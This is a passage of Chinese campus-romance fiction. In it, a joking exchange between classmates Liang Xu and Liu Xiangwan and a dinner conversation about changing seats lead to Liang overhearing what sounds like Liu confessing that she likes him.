日光之下,少女的眼睛呈现出一种淡淡的琥珀色,像是小猫的眼睛。梁旭看着这双眼睛,莫名地想起了那日在便利店旁边,和柳向晚一起喂的那只白猫。 但现在这双眼睛含着淡淡的无语感。 虽然知道梁旭时刻不正经,大概率是在开玩笑,柳向晚还是没忍住地怼他:“我喜欢你?那估计要等什么时候母猪上树了,我就喜欢你了。” “母猪上树?” 梁旭头微微歪了下,笑着伸出了一只手,比作成四条腿的模样,他一本正经道:“瞧,母猪。”接着,又伸出另一只手,比作顶天立地的大树:“树。” 两只手搭在了一起。 梁旭抬眼:“母猪上树了。” “……” 柳向晚不忍直视地瞥开眼睛:“人贵有自知之明。” 她拍了拍梁旭的肩膀:“咱没事的时候,可以去四院看看脑子。” 四院是池江出名的精神科医院。 梁旭:“……” …… 这天课上了没多久,下午时,有同学从老俞办公室出来,带来了最新消息:老俞已经在重排座位表了,下周就可能各自要换新同桌了。 班级里瞬间几家欢喜几家愁。 张之筱倒是对这个消息很开心,晚上吃饭时,拉着柳向晚就开始祈祷这个事。 “老天保佑,信女愿意以瘦十斤为代价,求老天将我和柳向晚分到一起,让我们俩坐一起吧。” 柳向晚一边吃着饭,一边看张之筱赛博纯口上拜老天爷。 她挑眉,有些好笑:“以瘦十斤为代价,这还算代价吗?” “哎呀,怎么不算嘛,肯定算的!”张之筱吃下一口米饭,声音含糊道:“但还是希望能够给我们分到一起坐就好了。” “估计不太可能。” 柳向晚低头吃饭,语气未明,想起了之前在饭桌上,程辛为她做下的安排。 安排已定,除非有什么变故,大多时候程辛都不会允许改变。 “诶,说不定就有可能啊。”张之筱乐观地说,“我们俩这次排名离的那么近,老俞可能就看我们俩都是女生,就给我们分到一块坐了呢。” 说完,她似是想起了什么,小心翼翼地看了一眼柳向晚。 张之筱语气迟疑:“你是不是不想换同桌啊。” “没有。”柳向晚回过神来,差点被这话惊到。 但她也没有过多解释。 张之筱自然相信她的话,随手夹了一口菜塞进嘴里,又想起来什么,忽然问道:“诶,话说梁旭性格咋样。” “我之前不跟他一个班的时候,就有听过别人说他性格很好。现在一个班相处了那么久,看着好像是性格挺好的,不过实际真的假的啊?总感觉这种学神都会很傲吧。” 傲? 脑子里冒出这个字的第一反应,柳向晚就觉得跟梁旭挂不上钩,说她有点傲,都比说梁旭“傲”来得实际多了。 她低头吃饭,为梁旭证明清白:“他人挺好的。” 两个人说话间都没留意到,身后,梁旭端着饭盘从他们旁边经过。 梁旭看见了柳向晚,轻轻瞥了她一眼,刚想走过去打声招呼,就看见女生张了张嘴,说出—— “我喜欢他。” “……” 步子一下子停在原地没动。 梁旭:“?”喜欢谁? 喜欢他??!